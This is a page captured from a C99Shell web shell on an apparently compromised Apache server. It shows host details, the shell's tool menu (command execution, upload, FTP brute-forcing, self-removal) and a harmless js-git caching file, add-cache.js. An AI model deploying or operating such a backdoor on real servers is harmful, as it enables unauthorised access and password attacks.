!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/local/lib/node_modules/pm2/node_modules/js-git/mixins/   drwxr-xr-x
Free 13.03 GB of 57.97 GB (22.48%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     add-cache.js (1.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
"use strict";

module.exports = addCache;
function addCache(repo, cache) {
  var loadAs = repo.loadAs;
  if (loadAs) repo.loadAs = loadAsCached;
  var saveAs = repo.saveAs;
  if (saveAs) repo.saveAs = saveAsCached;
  var createTree = repo.createTree;
  if (createTree) repo.createTree = createTreeCached;

  function loadAsCached(type, hash, callback) {
    // Next check in disk cache...
    cache.loadAs(type, hash, onCacheLoad);

    function onCacheLoad(err, value) {
      if (err) return callback(err);
      // ...and return if it's there.
      if (value !== undefined) {
        return callback(null, value, hash);
      }

      // Otherwise load from real data source...
      loadAs.call(repo, type, hash, onLoad);
    }

    function onLoad(err, value) {
      if (value === undefined) return callback(err);

      // Store it on disk too...
      // Force the hash to prevent mismatches.
      cache.saveAs(type, value, onSave, hash);

      function onSave(err) {
        if (err) return callback(err);
        // Finally return the value to caller.
        callback(null, value, hash);
      }
    }
  }

  function saveAsCached(type, value, callback) {
    saveAs.call(repo, type, value, onSave);

    function onSave(err, hash) {
      if (err) return callback(err);
      // Store in disk, forcing hash to match.
      cache.saveAs(type, value, callback, hash);
    }
  }

  function createTreeCached(entries, callback) {
    createTree.call(repo, entries, onTree);

    function onTree(err, hash, tree) {
      if (err) return callback(err);
      cache.saveAs("tree", tree, callback, hash);
    }
  }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0184 ]--